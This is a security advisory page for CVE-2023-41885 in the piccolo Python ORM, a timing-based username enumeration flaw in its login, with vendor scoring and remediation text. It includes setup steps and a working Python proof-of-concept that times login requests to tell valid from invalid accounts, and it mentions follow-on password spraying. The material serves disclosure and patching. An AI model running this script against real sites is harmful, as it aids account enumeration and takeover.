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GHSA-h7cm-mrvq-wcfr piccolo

MEDIUMFix: piccolo-orm/piccolo@edcfe35

GHSA-h7cm-mrvq-wcfr is a medium-severity (CVSS 5.3) CWE-204 vulnerability in piccolo. A fix is available for piccolo — see the affected versions and patch details below.

Piccolo's current `BaseUser.login` implementation is vulnerable to time based user enumeration

Also known asCVE-2023-41885PYSEC-2023-173
Published
Sep 12, 2023
Updated
Feb 16, 2024
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-h7cm-mrvq-wcfr.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs45th percentile — riskier than 45% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-h7cm-mrvq-wcfr plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍piccolo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.

The current implementation of BaseUser.login leaks enough information to a malicious user such that they would be able to successfully generate a list of valid users on the platform. As Piccolo on it's own does not also enforce strong passwords (see here), these lists of valid accounts are likely to be used in a password spray attack with the outcome being attempted takeover of user accounts on the platform.

The impact of this vulnerability is minor as it requires chaining with other attack vectors in order to gain more then simply a list of valid users on the underlying platform. The likelihood of this vulnerability is possible as it requires minimal skills to pull off especially given the underlying login functionality for Piccolo based sites is open source.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

This vulnerability relates to this code. Specifically the fact that responses are not returned in constant time, but rather are based off the internal state.

For example, if a user does not exist then None is returned immediately instead of encountering a time expensive hash comparison (Line 225). This discrepancy allows a malicious user to time requests made in order to generate a list of usernames which are valid on the underlying platform for usage in further attacks.

If your curious for some more information regarding this attack avenue, I wrote a blog post awhile back with a similar chain to this with some other types of analysis. It lives here.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

Piccolo Setup

  1. In a fresh environment pip install 'piccolo[all]' and piccolo asgi new
  2. For simplified testing purposes, in piccolo_conf.py modify Piccolo to use SQLite:
from piccolo.engine.sqlite import SQLiteEngine
DB = SQLiteEngine()
  1. In the same file, add the required apps for session authentication. The file should look like the following:
from piccolo.engine.sqlite import SQLiteEngine
from piccolo.conf.apps import AppRegistry


DB = SQLiteEngine()

APP_REGISTRY = AppRegistry(
    apps=[
        "home.piccolo_app",
        "piccolo_admin.piccolo_app",
        "piccolo_api.session_auth.piccolo_app",
        "piccolo.apps.user.piccolo_app",
    ]
)
  1. Run the following migrations:
piccolo migrations forwards user
piccolo migrations forwards session_auth
  1. Within app.py, mount session_login at the /login path as follows:
from piccolo_api.session_auth.endpoints import session_login
app.mount("/login", session_login())
  1. Create a new user using piccolo user create, making a note of the username and password for later steps.

Exploitation

The following Python script can be used to reproduce this issue. It could also be expanded to easily take in user lists to conduct user enumeration at scale, however, that is outside the scope of this report.

import asyncio
import time
from collections import defaultdict

import httpx

number_of_attempts = 50
# Set this to the username from step 6.
valid_username = "skelmis"
invalid_username = "invalid"
data = defaultdict(lambda: [])
# Ensure this points to your current enviroment
local_base_url = "http://127.0.0.1:8000"
# Set this to the password from step 6.
valid_password = "disobey-blunt-kindly-postbox-tarantula"
invalid_password = "cabana-polar-secrecy-neurology-pacific"


async def make_request(username, password, session: httpx.AsyncClient):
    start_time = time.time()
    resp = await session.post(
        f"{local_base_url}/login",
        json={"username": username, "password": password},
        follow_redirects=True,
    )
    end_time = time.time()
    if username == valid_username and password == valid_password:
        # Just sanity check expected passes are passing
        assert resp.status_code == 200

    resultant_time = end_time - start_time
    data[f"{username}|{password}"].append(resultant_time)


async def main():
    async with httpx.AsyncClient() as client:
        # This is the baseline correct request
        for _ in range(number_of_attempts):
            await make_request(valid_username, valid_password, client)
            await asyncio.sleep(0.1)

        # This is for a valid user but invalid password
        for _ in range(number_of_attempts):
            await make_request(valid_username, invalid_password, client)
            await asyncio.sleep(0.1)

        # This is for an invalid user and password
        for _ in range(number_of_attempts):
            await make_request(invalid_username, invalid_password, client)
            await asyncio.sleep(0.1)

        r_1 = data[f"{valid_username}|{valid_password}"]
        r_2 = data[f"{valid_username}|{invalid_password}"]
        r_3 = data[f"{invalid_username}|{invalid_password}"]

        r_1_sum = sum(r_1) / len(r_1)
        r_2_sum = sum(r_2) / len(r_2)
        r_3_sum = sum(r_3) / len(r_3)

        print(
            f"Average time to response as a valid user with a valid password: {r_1_sum}"
        )
        print(
            f"Average time to response as a valid user with an invalid password: {r_2_sum}"
        )
        print(
            f"Average time to response as an invalid user with an invalid password: {r_3_sum}"
        )


if __name__ == "__main__":
    asyncio.run(main())

N.B. This script makes 50 requests per username/password combination in order to be more certain of the time to response for each combination

Analysis

The following is the output from the PoC against pip install piccolo Screenshot from 2023-09-08 18-36-45

The following is the output from the PoC against pip install git+https://github.com/piccolo-orm/piccolo.git. Screenshot from 2023-09-08 17-51-16

I have included the results from both versions to highlight that this issue is not as a result of this pull request but as a result of the underlying logic in usage.

Both of these runs clearly show a noticeable difference in the time to response for valid and invalid users which would allow a malicious user to build up a list of users for usage in further attacks against the website. For example, after building up a user list a malicious user may then conduct a password spray attack using common passwords in order to takeover user accounts on the platform.

Impact

What kind of vulnerability is it? Who is impacted?

This is an information disclosure vulnerability. It would affect any Piccolo site, and all users of said Piccolo site who can login via regular login portals.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpiccoloall versions0.121.0pip install --upgrade 'piccolo==0.121.0'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for piccolo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update piccolo to 0.121.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h7cm-mrvq-wcfr is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-h7cm-mrvq-wcfr can be triaged on real exposure rather than presence alone.

Tailored to GHSA-h7cm-mrvq-wcfr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary _Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._ The current implementation of `BaseUser.login` leaks enough information to a malicious user such that they would be able to successfully generate a list of valid users on the platform. As Piccolo on it's own does not also enforce strong passwords (see [here](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#implement-proper-password-strength-contr
O3 Security · Impact-Aware SCA

Is GHSA-h7cm-mrvq-wcfr in your dependencies?

O3 Security finds GHSA-h7cm-mrvq-wcfr across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-h7cm-mrvq-wcfr: piccolo (Medium 5.3) | O3 Security